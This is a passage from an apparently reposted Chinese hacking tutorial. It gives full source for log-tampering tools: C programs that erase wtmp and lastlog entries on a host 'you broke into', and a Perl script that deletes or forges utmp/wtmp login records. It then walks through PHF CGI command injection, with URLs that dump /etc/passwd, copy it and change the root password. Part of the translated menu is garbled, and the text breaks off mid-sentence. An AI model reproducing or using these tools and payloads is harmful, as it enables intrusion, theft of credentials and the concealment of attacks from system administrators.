write(fd,&utmp,sizeof(struct utmp));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct utmp utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("wtmp.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct utmp))==sizeof(struct utmp)) {
if (utmp.ut_time) {
cnt++;
write(fd,&utmp,sizeof(struct utmp));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod wtmp.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: wted -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------- cut here
你可能還需要清除/vat/adm/lastlog日誌。
這要用到lled.c程序。編譯這個文件並命名為lled.
你運行lled程序將會出現下面的菜單:
[4:04am][/home/paris/compile]lled
Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST
-h This help °??u
-f Use FILE instead of default e1o????‥μ????t′ui?e±e?μ?
-a Show all entries found ??e?e?2?????
-u Show all entries for USER ??e????‥o??§μ?e?2?????
-b Show NULL entries ??e???????
-e Erase USER completely e?2?e?3y???‥o??§μ?????
-c Erase all connections containing HOST e?3y°uo????‥?÷?uμ?e?2?????
-z Show ZAP'd entries ??e?o?ZAP′|ai1yμ?????
-x Attempt to remove ZAP'd entries completely e?3yo?ZAP′|ai1yμ?????
你可以先用-u來看一下,很多時候你的用戶名並沒有記錄下來,但會記錄下你的主機,一般你可以這樣使用:(假設我進入系統時使用的主機名為machine.edit.com)
lled -e username -c machine.edit
如果你要查看你的主機是否記錄在lastlog日誌的結尾,你應輸入:lled -a
使用chmod將 lastlog.tmp文件屬性改為 644並像你使用上面的wted程序一樣將其拷貝到日誌文件的目錄中並覆蓋岳吹奈募?
重要:將lastlog路徑設置為你入侵的主機中的正確路徑。
下面是lled.c:
-------------------------- cut here
#include
#include
#include
#include
char *file="/var/adm/lastlog";
main(argc,argv)
int argc;
char *argv[];
{
int i;
if (argc==1) usage();
for(i=1;i {
if(argv[i][0] == '-')
{
switch(argv[i][1])
{
case 'b': printents(""); break;
case 'z': printents("Z4p"); break;
case 'e': erase(argv[i+1]); break;
case 'c': erase(0,argv[i+1]); break;
case 'f': file=argv[i+1]; break;
case 'u': printents(argv[i+1]); break;
case 'a': printents("*"); break;
case 'x': remnull(argv[i+1]); break;
default:usage();
}
}
}
}
printents(name)
char *name;
{
struct lastlog utmp,*ptr;
int fp=-1;
ptr=&utmp;
if (fp=open(file,O_RDONLY))
{
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog))
{
if ( !(strcmp(name,ptr->ll_line)) || (name=="*") ||
(!(strcmp("Z4p",name)) && (ptr->ll_time==0)))
printinfo(ptr);
}
close(fp);
}
}
printinfo(ptr)
struct lastlog *ptr;
{
char tmpstr[256];
printf("%s\t",ptr->ll_line);
strcpy(tmpstr,ctime(&(ptr->ll_time)));
tmpstr[strlen(tmpstr)-1]='\0';
printf("%s\t",tmpstr);
printf("%s\n",ptr->ll_host);
}
erase(name,host)
char *name,*host;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
unsigned char c;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (host)
if (strstr(utmp.ll_host,host)) tot++;
else {cnt++;write(fd,&utmp,sizeof(struct lastlog));}
if (name) {
if (strcmp(utmp.ll_line,name)) {cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else {
if (n>0) {
n--;cnt++;
write(fd,&utmp,sizeof(struct lastlog));}
else
{
printinfo(&utmp);
printf("Erase entry (y/n/f(astforward))? ");
c='a';
while (c!='y'&&c!='n'&&c!='f') c=getc(stdin);
if (c=='f') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
printf("Fast forward how many entries? ");
scanf("%d",&n);}
if (c=='n') {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
if (c=='y') tot++;
}
} }
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
remnull(name)
char *name;
{
int fp=-1,fd=-1,tot=0,cnt=0,n=0;
struct lastlog utmp;
if (fp=open(file,O_RDONLY)) {
fd=open("lastlog.tmp",O_WRONLY|O_CREAT);
while (read(fp,&utmp,sizeof(struct lastlog))==sizeof(struct lastlog)) {
if (utmp.ll_time) {
cnt++;
write(fd,&utmp,sizeof(struct lastlog));
}
else
tot++;
}
close(fp);
close(fd);
}
printf("Entries stored: %d Entries removed: %d\n",cnt,tot);
printf("Now chmod lastlog.tmp and copy over the original %s\n",file);
}
usage()
{
printf("Usage: lled -h -f FILE -a -z -b -x -u USER -n USER -e USER -c HOST\n");
printf("\t-h\tThis help\n");
printf("\t-f\tUse FILE instead of default\n");
printf("\t-a\tShow all entries found\n");
printf("\t-u\tShow all entries for USER\n");
printf("\t-b\tShow NULL entries\n");
printf("\t-e\tErase USER completely\n");
printf("\t-c\tErase all connections containing HOST\n");
printf("\t-z\tShow ZAP'd entries\n");
printf("\t-x\tAttempt to remove ZAP'd entries completely\n");
}
---------------------------------------------------------------- cut here
下面是個編輯tmp, wtmp和檢查進程的很好的perl腳本程序。這個程序還允許你在wtmp日誌中加入一行。如果你想搞,你可以加入clinton(克林頓).whitehouse(白宮).gov logging into port ttyp3 並顯示他在系統中停留了幾個小時!
使用檢查功能,你可以知道是否有什麼人登錄到系統中而在utmp日誌中又沒有記錄。系統管理員有時登錄後喜歡把自己隱藏起來,這個程序可以看到他們是否在線。你必須有root的權限來執行這個程序,這個程序還需要5.003以上的版本才能運行。啟動這個腳本程序後輸入help。
下面是一些基本命令:
starts by loading wtmp
delete user username
delete host hostanme
write
read wtmp
delete user username
delete host hostname
write
使用help來查看其它的命令......這是最好的wtmp,wtmp編計鰨?
說聲謝謝吧 ;)
-----------------------start of utmpman.pl
#!/usr/bin/perl -w
#
# Variable defines.
my($utmp_location) = "/var/run/utmp";
my($wtmp_location) = "/var/log/wtmp";
my($shells_location) = "/etc/shells";
my($ttybase) = "tty";
my($ttyrange) = "pqrs"; # TTYrange standard on most linux systems.
my($ttyports) = "012345657689abcfef"; # TTYports standard on most linux systems.
# Global initializations.
my($active_file) = "";
my(%entries) = {};
my(@cmdline) = ();
my(@shells) = ();
# Display banner.
print "\nutmp Manager v0.8\n\n";
# Access check.
die("utmpman :: You must be root to run this application!\n") unless ($> == 0);
# Read in valid shells.
if (defined($shells_location)) {
open(SHELLFILE, "<$shells_location");
@shells = ;
close(SHELLFILE);
}
# Process "basename" of each shell.
@shells = map( { /([^\/\n]+)\n*$/; $1; } @shells);

print push(@shells) . " valid shells in $shells_location: @shells\n" if (defined(@shells));
readfile("$utmp_location");
print("\nutmpman: $active_file> ");
while () {
process_cmd(split);
print("\nutmpman: $active_file> ");
}
sub process_cmd {
return if (!defined(@_));
my(@line) = map { lc($_) } @_;

$_ = shift(@line);
SWITCH: {
/^check$/ && do {
check_func(@line);
last SWITCH;
};
/^delete$/ && do {
del_func(@line);
last SWITCH;
};

/^help$/ && do {
help_func();
last SWITCH;
};

/^insert$/ && do {
ins_func(@line);
last SWITCH;
};

/^list$/ && do {
list_func(@line);
last SWITCH;
};
/^read$/ && do {
read_func(@line);
last SWITCH;
};

/^write$/ && do {
write_func(@line);
last SWITCH;
};

/^quit|exit$/ && exit(0);

# DEFAULT.
print ("Invalid command.\n");
}
}

# HELP
sub help_func {
print << "EOM";
utmpManager Help
----------------
Note: - is an argument.
- [id=] is a token which expects a value as part of command
(ie, insert id=p5 user=root 11/23/96). See the insert command.
- A line is the full name to the tty port, ie ttyp0.
- An id is the *unique* representation of the port
(without the tty, etc), ie "p0" (for ttyp0).
check
- Perform user consistancy check. Use this to make sure that the data in
utmp agrees with who is actually on the machine. This is useful in
determining if a user is online with hidden ports, running nohup'd
processes, or running iScreen.
delete -
- Delete entries #x to #y.
delete host
- Delete *all* entries which match the substring .
delete line|id
- Delete entry containing or .
insert {id=|line=} [type=] [user=] [host=] [ConnTime] {LogoffTime}
- Insert an entry into utmp/wtmp files specifying any combination
of id/line, type, username, host, connection time, and logoff time.
(LogoffTime only valid for WTMP files.)
list host
- List all entries matching the substring .
list line|id
- List all entries matching or .
read utmp|wtmp|
- Read entries from either default wtmp, default utmp, or an arbitrary
filename. Note: arbitrary filenames MUST start with either "utmp" or
"wtmp" to be used with this editor. Rename files *outside* of this
editor if necessary. If read is executed without any arguments, it
rereads the last given filename, which is displayed on the prompt.
write {filename}
- Write entries to file {filename}. If write is executed without any
arguments, then entries will be written to the last given filename,
which is displayed on the prompt.
EOM
}
# DELETE
sub del_func {
my(@params) = @_;
if (!push(@_)) {
print("delete :: Not enough parameters. See \"help\" for syntax.\n");
return undef;
} elsif ($params[0] =~ /host|user|id|line/) {
del_by_data(@_);
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
del_by_range($params[0]);
} elsif ($params[0] =~ m/^(\d+)$/) {
del_by_range("$1-$1");
}

# Renumber list after delete operation.
resync();
}

sub del_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi, $count)=($1, $2, 0);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
delete($entries{$_});
$count++;
}
}
print "$count entries deleted.\n";
}

sub del_by_data {
my($op, $data) = @_;
my($count) = 0;
if ((length($data) < 5) && ($op eq "host")) {
print "Must specify at least 5 characters for delete hostmask.\n";
return undef;
} elsif (((length($data) > 4) && ($op eq "id"))||
((length($data) > 11) && ($op eq "line"))) { print "Invalid $op specified.\n";
return undef;
}
# Note: If we are deleting by user, then user must match, *exactly*!
$data = "^" . pack("a8", $data) . "\$" if ($op eq "user");
foreach (sort( { $a <=> $b } keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
delete($entries{$_});
++$count;
}
}
if (!$count) {
print "No $op entries matching $data.\n";
} else {
print "$count entries deleted.\n";
}
}

# INSERT
# Date1 Time1 = DateTime1 => mm/dd/[cc]yy[:hh:mm[:ss]]
# Date2 Time2 = DateTime2 => (see above)
# user=
# host=
# id= | line=
#
# utmp:
# insert {id=|line=} [type=] [user=] [host=] [DateTime]
# wtmp:
# insert {id=|line=} [user=] [host=] [DateTime1] {DateTime2}
sub ins_func {
my(%cmdopt)={};
my($datetime1, $datetime2, $gmdate, $gmdate2);
# Get random pid out of the way.
$cmdopt{"pid"} = int(rand(32656)+100);
$cmdopt{"addr"} = pack("a4", "");
# Get command options.
foreach (@_) {
if (/=/) {
local($key, $value)=split(/=/);
$cmdopt{$key} = $value;
} else {
if (!defined($datetime1)) {
$datetime1 = $_;
next;
}
if (!defined($datetime2)) {
$datetime2 = $_ ;
next;
}
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
}
# Check for an illegal pair or illegal option.
foreach (keys(%cmdopt)) {
if (!(/^host|id|line|type|user|addr$/)) {
print "insert :: Invalid options specified. Please see \"help\" for syntax.\n";
return undef;
}
if (($_ eq "last") && ($active_file !~ m!/*utmp[^/]*$!i)) {
print "insert :: LAST option only valid for utmp files.\n";
return undef;
}
}
# Get date in seconds since 1970.
$gmdate = SecsSince1970($datetime1);
# Get ending date in seconds since 1970.
$gmdate2 = SecsSince1970($datetime2) if (defined($datetime2));
if (!defined($gmdate) || (!defined($gmdate2) && defined($datetime2))) {
print "insert :: Invalid date specified.\n";
return undef;
}
if (defined($gmdate2)) {
if ($gmdate2 < $gmdate) {
print "insert :: First date/time must be *later* than second date/time.\n";
return undef;
}
}
if (defined($cmdopt{"id"}) && defined($cmdopt{"line"})) {
print "insert :: Insert by LINE or ID only. Please do not specify both.\n";
return undef;
}
my($op);
if (!defined($cmdopt{"id"})) {
$cmdopt{"id"} = $cmdopt{"line"};
$op = "line";
if (!($cmdopt{"id"} =~ s/^$ttybase//)) {
print "insert :: Invalid line specified.\n";
return undef;
}
} else {
$cmdopt{"line"} = $ttybase . $cmdopt{"id"};
$op = "id";
}
if (!(defined($cmdopt{"line"}) || defined($cmdopt{"id"}))) {
print "insert :: Neither LINE nor ID value found. See \"help\" for syntax.\n";
return undef;
}

my($searchdata) = ($active_file =~ m!/*utmp[^/]*$!i) ?
(pack(($op eq "line") ? "a12" : "a4", $cmdopt{$op})):$cmdopt{$op};
my($epos1, $npos1, $epos2, $npos2) = ();
my($oldpos, $count)=("", 0);
foreach (sort( { $a <=> $b } keys(%entries))) {
if ($active_file =~ m!/*utmp[^/]*$!i) {
# Handle utmp insertion by line insertion.
if (%{$entries{$_}}->{$op} eq $searchdata) {
printf ("insert :: $op $searchdata already exists at position $_\n");
# This needs to check every option in %cmdopt for defined or null.
$count = 0;
foreach (qw(user host time)) {
if (defined($cmdopt{$_})) {
$count++ if ($cmdopt{$_} ne "");
}
}
if (!$count) {
printf ("insert :: No other data specified. Entry unchanged.\n");
return undef;
}
last;
}
} else {
# Handle wtmp insertion by time position. (Messy)
$epos1 = $oldpos if (defined($npos1) && !defined($epos1));
$npos1 = $_ if (%{$entries{$_}}->{"time"} > $gmdate);
last if (!defined($gmdate2) && defined($epos1));
$epos2 = $oldpos if (defined($npos2));
$npos2 = $_ if (%{$entries{$_}}->{"time"} > $gmtime2);
last if (defined($epos2));
}
$oldpos = $_;
}
# Set any unspecified defaults.
$cmdopt{"user"} = pack("a8", "") if !defined($cmdopt{"user"});
$cmdopt{"host"} = pack("a16", "") if !defined($cmdopt{"host"});
$cmdopt{"type"} = 7 if !defined($cmdopt{"type"});
# Determine end of list insertion positions. (IE, dates entered are after
# dates in wtmp file or line/id not found in utmp file.
$epos1 = (scalar(keys(%entries)) + 1) if (!defined($npos1));
if (defined($datetime2)) {
$epos2 = (scalar(keys(%entries)) + 1) if (!defined($npos2));
++$epos2 if (defined($gmtime2) && !defined($npos1));
}
# Parse insert data and insert entry.
$epos1 = sprintf("%7.3f", ($npos1 - $epos1)/2) if (defined($npos1));
$epos2 = sprintf("%7.3f", ($npos2 - $epos2)/2)
if (defined($npos2) && defined($gmdate2));
# Insert first entry.
$cmdopt{"time"} = $gmdate;
@{$entries{$epos1}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
if (defined($epos2)) {
$cmdopt{"user"} = pack("a8", "");
$cmdopt{"host"} = pack("a16","");
$cmdopt{"id"} = pack("a4", "");
$cmdopt{"time"} = $gmdate2;

@{$entries{$epos2}}{qw(type pid line id time user host addr)} =
@{%cmdopt}{qw(type pid line id time user host addr)};
}
resync();
}

# LIST
sub list_func {
my(@params) = @_;
if (!push(@_) || ($params[0] eq "all")) {
list_by_range("-");
return 0;
} elsif ($params[0] =~ /^host|user|id|line$/) {
list_by_data(@_);
return 0;
} elsif ($params[0] =~ m/\d*-\d+|\d+-\d*/) {
list_by_range($params[0]);
return 0;
} elsif ($params[0] =~ m/^(\d+)$/) {
list_by_range("$1-$1");
return 0;
}

print ("list :: Error in parameters. See \"help\" for syntax.\n");
return undef;
}

sub list_by_data {
my($op, $data) = @_;
my($count) = 0;
foreach (sort( {$a <=> $b} keys(%entries))) {
if (%{$entries{$_}}->{$op} =~ m/$data/i) {
list_entry($_);
++$count;
}
}
print "No $op entries matching $data.\n" if (!$count);
}

sub list_by_range {
my($range)=shift;
$range =~ m/(\d+)*-(\d+)*/;
my($lo, $hi)=($1, $2);

$lo = 0 if (!defined($lo));
$hi = scalar(keys(%entries)) if (!defined($hi));

foreach (sort( { $a <=> $b } keys(%entries))) {
if (($_ >= $lo) && ($_ <= $hi)) {
list_entry($_);
}
}
}

sub list_entry {
printf("#%3d - " . gmtime(%{$entries{$_}}->{"time"}), $_);
printf(" %s/%s", @{$entries{$_}}{qw(id line)});
printf(": %s ", %{$entries{$_}}->{"user"})
if (%{$entries{$_}}->{"user"} ne pack("a8", ""));
printf("from %s", %{$entries{$_}}->{"host"})
if (%{$entries{$_}}->{"host"} ne pack("a16", ""));
if (%{$entries{$_}}->{"addr"} ne "\0\0\0\0") {
printf(" (%s)", longtodot4(%{$entries{$_}}->{"addr"}));
}
print ("\n");
printf("%7sPID = %u\n", "", %{$entries{$_}}->{"pid"})
if (%{$entries{$_}}->{"pid"} && (%{$entries{$_}}->{"user"} ne pack("a8","")));
}
# printf "#$_ - %s %s/%s: %s from %s\n", @{$v}->{qw(time id line user host)};
# now *that's* cool :-)
# should be like this: @{$v}{qw(time id line user host)}
# I had an extra -> in my first version.
#
# Or course, it's changed since then, but - "Thanks, Sil!" :)
#

# READ

sub read_func {
my($arg)=shift;

$arg = $utmp_location if ($arg eq "utmp");
$arg = $wtmp_location if ($arg eq "wtmp");
$arg = $active_file if (!defined($arg));

if ($arg !~ m!/*[uw]tmp[^/]*$!) {
print("read :: Filenames *must* start with either 'wtmp' or 'utmp' to be edited.\n");
return undef;
}

readfile($arg);
}

# WRITE
sub write_func {
my($file)=shift;
my($count)=0;

$file = $active_file if (!defined($file));
if ($file !~ m!/*[uw]tmp[^/]*$!) {
print ("write :: File must start with 'utmp' or 'wtmp'.\nRename file outside this program.\n");
return undef;
}
if (!open(OUTFILE, ">$file")) {
print ("write :: Can't open $file for output.\n");
return undef;
}
binmode(OUTFILE);

foreach (sort( { $a <=> $b } keys(%entries))) {
printf OUTFILE ("%s", pack("i L a12 a4 L a8 a16 a4",
@{$entries{$_}}{qw(type pid line id time user host addr)}));
$count++;
}
print ("$active_file: " . scalar(keys(%entries)) . " entries written.\n");
close(OUTFILE);
}

# CHECK
sub check_func {
if (push(@_)) {
print "check :: Invalid options specified. Please see \"help\"\n";
return undef;
}
if ($active_file !~ m!/*utmp[^/]*$!) {
print "check :: Command can only be run on utmp files.\n";
return undef;
}

# Build struct of ports containing port name, device num and owner.
# Note: Test run in grepstr may *not* be portable for all Unix
# types. Be forewarned! This was designed for Linux.
# Hint: For all intents and purposes, s/^$ttybase([$ttyrange][$ttyports])$/
# should return the same as what you expect in "struct utmp->ut_id".
my($grepstr) = "^($ttybase\[$ttyrange\]\[$ttyports\])\$";
my(%ports) = {};
my($user, $rdev) = ();
opendir(DEVDIR, "/dev");
my(@devfiles) = readdir(DEVDIR);
@devfiles = grep(/$grepstr/, @devfiles);
close(DEVDIR);
foreach (@devfiles) {
/^$ttybase([$ttyrange][$ttyports])$/;
if (!defined($1)) {
print "check :: Warning! Could not extract port ID from $_.\n";
} else {
($user, $rdev) = (stat("/dev/$_"))[4, 6];
$user = getpwuid($user);
$ports{$1} = newport($_, $rdev, $user);
}
}

# Check ownership of /dev ports.
my(@logdev)=();
foreach (sort(keys(%ports))) {
push(@logdev, $_) if (%{$ports{$_}}->{"owner"} ne "root");
}
@logdev = sort(@logdev);

# Check utmp (against ports detected as logged in);
my(@logutmp)=();
foreach (sort( { $a <=> $b } keys(%entries))) {
if (defined(%{$entries{$_}}->{"user"}) && defined(%{$entries{$_}}->{"host"}) &&
defined(%{$entries{$_}}->{"id"}) && defined(%{$entries{$_}}->{"pid"})) {
push(@logutmp, %{$entries{$_}}->{"id"})
if ((%{$entries{$_}}->{"id"} =~ /[$ttyrange][$ttyports]/) &&
((%{$entries{$_}}->{"user"} ne pack("a8", "")) ||
((%{$entries{$_}}->{"host"} ne pack("a16", "")) &&
(%{$entries{$_}}->{"id"} ne pack("a4", "")) &&
(%{$entries{$_}}->{"line"} ne pack("a12", "")) &&
(%{$entries{$_}}->{"pid"} > 0))));
}
}
@logutmp = sort(@logutmp);
# Check PIDs (find processes with active port ids)
opendir(PIDDIR, "/proc");
my(%processes) = {};
my(@portprocesses) = ();
foreach (grep(/\d+/, readdir(PIDDIR))) {
local($procdata, $cmdline);
open(PROCFILE, " $procdata = ;
close(PROCFILE);
if (-e "/proc/$_/stat") {
local($cmdline, $devnum, $portid);
($cmd, $devnum) = (split(/ /, $procdata))[1, 6];
# Remove surrouding () from command name.
$cmd =~ s/[\(\)]//g;
$portid = dev2id(\%ports, $devnum);
if (defined($portid)) {
push(@portprocesses, $portid)
if (!defined(listpos(\@portprocesses, $portid))&&($$ != $_));
$processes{$_} = newproc($cmd, $portid) if (defined($portid) && ($$ != $_));
}
}
}
close(PIDDIR);
# A port is *not* logged in if there is no dev entry for port, no utmp entry
# and no active processes.
my(@validshellports) = ();
foreach (sort( { $a <=> $b} keys(%processes))) {
push(@validshellports, %{$processes{$_}}->{"port"})
if (defined(listpos(\@shells, %{$processes{$_}}->{"cmd"}))&&
!defined(listpos(\@validshellports, %{$processes{$_}}->{"port"})));
}
# Remove ports with valid shells from list of ports with active processes.
my(@noshellports) =
sort(grep(!defined(listpos(\@validshellports, $_)), @portprocesses));
@validshellports = sort(@validshellports);
print "Ports with active /dev files: @logdev\n"
if (defined(@logdev));
print "Ports with utmp entries: @logutmp\n"
if (defined(@logutmp));
print "Ports with valid shells: @validshellports\n"
if (defined(@validshellports));
print "Ports with active processes and *no* shells: @noshellports\n"
if (defined(@noshellports));
}



# GENERAL
sub readfile {
local($file);
$file = shift;
my($index)=1;
my($buffer)="";
# Insure we have a clean hash table before we start reading in the file.
foreach (keys(%entries)) {
undef(%{$entries{$_}});
delete(${entries{$_}});
}

open(UTMPFILE, "<$file") || die("utmp-parse: Can't open $file - $!\n");
binmode(UTMPFILE);
# 1/17/96, struct utmp is 56 bytes (54 according to addition! :P).
while (read(UTMPFILE, $buffer, 56)) {
$entries{$index++} = newutmp($buffer);
}
$active_file = $file;
print ("$active_file: " . scalar(keys(%entries)) . " entries loaded.\n");
close(UTMPFILE);
}

sub newutmp {
my($newbuff) = shift;
my($longaddr) = 0;

$newnode = bless {
"type" => undef, "pid" => undef, "line" => undef, "id" => undef,
"time" => undef, "user" => undef, "host" => undef, "addr" => undef
}, 'UTMPNODE';

@{$newnode}{qw(type pid line id time user host addr)}=
unpack("i L a12 a4 L a8 a16 a4", $newbuff);

return $newnode;
}

sub newport {

$newnode = bless {
"port" => undef, "rdev" => undef, "owner" => undef, "cmd" => undef,
}, 'PORTNODE';

@{$newnode}{qw(port rdev owner)} = @_;

return $newnode;
}

sub newproc {

$newnode = bless {
"cmd" => undef, "port" => undef,
}, 'PROCNODE';

@{$newnode}{qw(cmd port)} = @_;

return $newnode;
}

# Renumber hashes to default order.
sub resync {
my(%newhash) = ();
my($count)=0;
# Write ordered list in to temporary hash, deleting as we go.
foreach (sort( {$a <=> $b} keys(%entries))) {
$newhash{++$count} = $entries{$_};
delete($entries{$_});
}
# Copy elements back in to original hash table.
foreach (sort( {$a <=> $b} keys(%newhash))) {
$entries{$_} = $newhash{$_};
}
}

sub longtodot4 {
my($addr)=shift;
return join(".", map( ord($_), split(//, $addr)));
}
sub dev2id {
my($portlist, $rdev) = @_;
foreach (sort(keys(%{$portlist}))) {
return $_ if (%{$portlist}->{$_}->{"rdev"}==$rdev);
}
return undef;
}

sub listpos {
my($arrayref, $search) = @_;
my($count) = 0;
$^W = 0;
foreach (@{$arrayref}) {
return $count if ($search eq ${$arrayref}[$count]);
$count++;
}
$^W = 1;
return undef;
}

### DATE ROUTINES
# The following code taken & modified from the Date::Manip package.
# Here is his copyright:
#
## Copyright (c) 1995,1996 Sullivan Beck. All rights reserved.
## This program is free software; you can redistribute it and/or modify it
## under the same terms as Perl itself.

sub SecsSince1970 {
# Parse as mm/dd/[cc]yy[:hh:mm[:ss]]
my($datetime) = shift;
my($m,$d,$y,$h,$mn,$s) = ();
# If date is not defined, then return local current date and time.
return time() if (!defined($datetime));
$datetime =~
s!^(\d{1,2})/(\d{1,2})/(\d{4}|\d{2})(?:\:(\d{2}):(\d{2})(?:\:(\d{2}))?)?!!;
($m, $d, $y, $h, $mn, $s) = ($1, $2, $3, $4, $5, $6);
$m--;
# Finalize time components and check them.
$y = (($y < 70) ? "20":"19" . $y) if (length($y)==2);
# This checks for any *non-matched* portion of $datetime. If there is such
# an animal, then there is illegal data specified. Also screens for undefined
# components which HAVE to be in ANY valid date/time (ie, month, day, year).
return undef if (!defined($m) || !defined($d) || !defined($y) || length($datetime));
# Set time components with unspecified values.
$s = 0 if (!defined($s));
$mn = 0 if (!defined($mn));
$h = 0 if (!defined($h));
# Check for ranges.
return undef if (($m > 11) || ($h > 23) || ($mn > 59) || ($s > 59));

# Begin conversion to seconds since 1/1/70.
my($sec_now,$sec_70)=();
$sec_now=DaysSince999($m,$d,$y);
return undef if (!defined($sec_now));
$sec_now--;
$sec_now = $sec_now*24*3600 + $h*3600 + $mn*60 + $s;
$sec_70 =30610224000;
return ($sec_now-$sec_70);
}

sub DaysSince999 {
my($m,$d,$y)=@_;
my($Ny,$N4,$N100,$N400,$dayofyear,$days)=();
my($cc,$yy)=();
$y=~ /^(\d{2})(\d{2})$/;
($cc,$yy)=($1,$2);
# Number of full years since Dec 31, 0999
$Ny=$y-1000;
# Number of full 4th years (incl. 1000) since Dec 31, 0999
$N4=int(($Ny-1)/4)+1;
$N4=0 if ($y==1000);
# Number of full 100th years (incl. 1000)
$N100=$cc-9;
$N100-- if ($yy==0);
# Number of full 400th years
$N400=int(($N100+1)/4);
# Check to insure that information returns a valid day of year.
$dayofyear=dayofyear($m,$d,$y);
return undef if (!defined($dayofyear));
# Compute day of year.
$days= $Ny*365 + $N4 - $N100 + $N400 + $dayofyear;
return $days;
}

sub dayofyear {
my($m,$d,$y)=@_;
my(@daysinmonth)=(31,28,31,30,31,30,31,31,30,31,30,31);
my($daynum,$i)=();
$daysinmonth[1]=29 if (!($y % 4));
# Return error if we are given an invalid date.
return undef if ($d > $daysinmonth[$m]);
$daynum=0;
for ($i=1; $i<$m; $i++) {
$daynum += $daysinmonth[$i];
}
$daynum += $d;

return $daynum;
}

## END DATE ROUTINES.

# End of script.
0;
--------------------- end of utmpman.pl


--------------------------------------------------------------------------------

Posted by DeepSe@ at 痞客邦 PIXNET 留言(0) 引用(0) 人氣()




--------------------------------------------------------------------------------

目錄:
PHF:WWW的PH查詢
PHF查詢攻擊新方法
從新手處獲取
獲取shadow密碼檔
獲取/etc/hosts檔

本文列舉了幾種從UNIX系統獲取密碼檔的方法。其中大多數方法要求你擁有一個
有效帳號;但也有不需帳號也可訪問系統的方法。在這裡你還能知道完整的密碼檔與
shadow密碼檔的區別,並學習到如何讀取shadow密碼檔。



--------------------------------------------------------------------------------

PHF:WWW的PH查詢


如果在WWW的cgi-bin的目錄下有一個名為phf的可執行(具有x權限)程序,那麼你就
可以通過WWW或LINUX的文本瀏覽器lynx訪問它。該功能允許你讀取系統上的文件,如
/etc/passwd等,並保存在本地機上。

以下是我們所需要做的。如果httpd服務器是由root根用戶運行的,通過使用phf,我
們可以成為該服務器的root用戶;甚至修改服務器上某個用戶的密碼。

這裡有一個perl腳本,它對使用上一章中的getdomain.pl腳本所得到的結果進行檢測,
並檢查運行服務器的用戶。如果是root用戶,它就記錄其id;如果不是root用戶,則會自動
從/etc目錄下讀取passwd檔,並保存為domain.???.passwd文件。

我還會給出另一個腳本,它允許你從一個shell中運行一條命令。只要該系統有phf,
你就可以在shell中輸入一命令行,通過管道命令傳送到遠程系統上執行。

OK。現在你該知道下一步是什麼了?讓我們來學習如何利用phf。

把你最喜愛的web瀏覽器或是UNIX系統中經常使用的lynx文本瀏覽器連接到網絡上。

在瀏覽器窗口或屏幕出現後,鍵入g(譯者註:即使用瀏覽器的「go」功能)。便會
出現以下內容(譯者註:以lynx為例):

URL to open:
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

在URL to open: 處輸入:http://xxx.org/cgi-bin/phf/?Qalias=x%0aid

URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list

返回如下內容:

QUERY RESULTS



/usr/local/bin/ph -m alias=x id

uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)


以上內容表明:運行服務器的用戶是nobody。因此,我們便成為了該服務器的nobody
用戶。雖然我們還不是root用戶,但必將是。 ;-)

命令行:

http://afp.org/cgi-bin/phf/?Qalias=x%0aid

id是一個命令,它要求服務器返回用戶的id。有時我們需要給出全路徑,比如:http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id

注意%0a後面是命令行內容。如果你想輸入一個空格符,就要用%20代替,以下是經常
要用到的幾個命令行:(以%0a開始)

顯示passwd密碼檔:
%0a/bin/cat%20/etc/passwd

獲取/etc目錄下所有以pass開始的詳細文件列表:
%0als%20-al%20/etc/pass*

如果你有訪問http的root用戶權限,備份passwd文件為passwd.my文件:
%0acp%20/etc/passwd%20/etc/passwd.my

更改root用戶密碼(服務器往往會允許你這樣做 ;-) ):
%0apasswd%20root

(以上命令可以讓你在以root用戶登錄時不需輸入密碼,(譯者註:也就是更改root用戶
